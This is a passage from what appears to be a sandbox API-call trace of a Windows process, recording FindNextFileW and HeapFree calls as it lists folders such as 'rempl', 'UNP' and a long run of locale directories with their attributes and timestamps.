lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0261.288] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0261.289] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0261.291] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x13135ea8, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x13135ea8, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="rempl", cAlternateFileName="")) returned 1 [0261.375] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.376] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76938800, ftCreationTime.dwHighDateTime=0x1d2e919, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x76938800, ftLastWriteTime.dwHighDateTime=0x1d2e919, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl.xml", cAlternateFileName="")) returned 1 [0261.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0261.378] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xa747e827, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2709a20, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0261.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0261.435] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x131ce67f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x131ce67f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UNP", cAlternateFileName="")) returned 1 [0261.453] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.453] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0261.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.457] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1 [0261.460] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.460] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1 [0261.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.463] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0261.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.466] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0261.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.468] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-AT", cAlternateFileName="")) returned 1 [0261.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.602] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1 [0261.607] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.607] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0261.610] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.610] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0261.612] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.612] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1 [0261.615] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.615] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1 [0261.617] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.617] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0261.619] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.619] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1 [0261.622] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.622] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1 [0261.625] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.625] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1 [0261.629] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.629] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1 [0261.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.634] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1 [0261.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.795] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1 [0261.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.801] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1 [0261.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.804] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0261.807] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.807] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1 [0261.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.810] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1 [0261.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.813] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1 [0261.815] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.815] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1 [0261.818] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.818] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0261.821] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.821] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0261.824] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.824] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1 [0261.828] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.828] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1 [0261.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.830] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0261.836] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.837] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1 [0261.898] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.898] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0261.902] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.903] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1 [0261.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.963] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0261.969] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.969] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1 [0261.974] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.975] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, 